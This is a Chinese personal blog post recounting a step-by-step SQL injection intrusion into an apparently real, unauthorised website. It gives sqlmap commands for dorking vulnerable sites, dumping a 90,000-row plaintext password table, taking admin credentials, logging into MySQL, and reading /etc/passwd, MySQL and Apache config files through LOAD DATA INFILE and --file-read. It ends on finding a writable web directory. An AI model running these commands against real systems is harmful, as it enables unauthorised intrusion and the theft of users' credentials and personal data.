banner
ximalaya

ximalaya

这里是openkava 的blog,关注程序开发的一切技术。 ZZ 表示转载的文章,如涉及版权,请和我联系删除。 在这里你可以看到关于以下技术的文章: 移动开发技术,ANDROID ,IOS,WINDOWS PHONE平台开发,企业ERP开发,动态脚本PYTHON ,OPENGL ES 3D技术,游戏开发技术,HTML5 ,JAVASCRIPT ,MYSQL,AMAZON EC2 ,GOOGLE GAE ,GOOGLE CLOUD SQL 等 。 本站发展历程: 2010年,正式把所有的blog移到这里,租用godaddy的空间,记录生活和工作上的一些心得。 下面是关于我的个人介绍,写在这里权当凑字数啦。 职业:软件开发,开发经验6年,管理经验3年; 工作上使用的技术:C#, SQL SERVER 个人使用的技术:PYTHON,PHP, CSS, JAVA ,ANDROID ,object-c 等等 联系我请发邮件:<a href="http://blog.openkava.com/openkava@gmail.png"><img class="alignnone size-full wp-image-96" title="邮箱" src="http://blog.openkava.com/openkava@gmail.png" alt="" width="174" height="24" /></a>

一次SQL漏洞提权实验

标题:一次 SQL 漏洞提权实验
日期:2012 年 08 月 27 日 12:42:16
标签:#

sqlmap 是一个 SQL 注入扫描工具,使用 Python 语言编写,我对它比较感兴趣,所以下载下来看看。
cmd> python sqlmap.py -h 查看帮助信息
其他 -g 选项可以通过 Google 查询来找到有 SQL 注入的网站,不过在 Python 中使用www.google.com 会出错,
对中国的用户会出错,找到源代码,位于 lib/utils/google.py,替换成www.google.com.hk就可以了。
例子:python sqlmap.py -g "allinurl: php?id="

对一个网站,找到一个注入:http://www.xxxx.net/userdetail.mpl?userid=133677

python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677"
找到数据库 MySQL,Apache 服务。
查看当前 MySQL 用户
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677"  --dbms=mysql --current-user
查看数据库
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677"  --dbms=mysql --current-db
查看用户权限,运气好,root 为管理员,接下来就简单了。
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677"  --dbms=mysql --privileges
查看表名
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677"  --dbms=mysql --tables
找到用户表,users,下载
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677"  --dbms=mysql --dump -T "users"
下载后,可以看到所有用户,有 9 万条数据密码居然不加密,找到 admin 和密码。

登录网页界面,没有管理界面,上传不了 webshell
扫描该网站开放端口:80,22,3306
尝试用该密码登录 SSH,不行。
直接 MySQL 登录,成功。
接下来就是 MySQL 提权了,不过 MySQL 不是 root 用户运行,权限不够,MySQL 5.1 版本,UDF 用不了。
只能利用 MySQL 的 load data in file 尝试获取系统信息:
登录 MySQL 后:
use  dnnamexxx;
create table test (t varchar(3000));
load data infile '/etc/passwd' into table test;
select * from test;
成功出来用户信息,用同样的方法获取 shadow,失败,权限不够。

用 sqlmap 直接下载系统文件
sqlmap -d "mysql://root@xx.xx.xx.xx:3306/dbname" --file-read=/etc/my.cnf
下载 MySQL 配置文件
sqlmap -d "mysql://root@xx.xx.xx.xx:3306/dbname" --file-read=/etc/httpd/conf/httpd.conf

功夫不负有心人,终于在这些文件找到了网站的一些目录:
/opt/images/
成功的在网页上访问到
可以写文件进去,不过该网站用 Perl,不熟悉,暂时先到这里。

总结:可以看到,一个小小的漏洞,可以突破一个网站,甚至拿到 root。

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。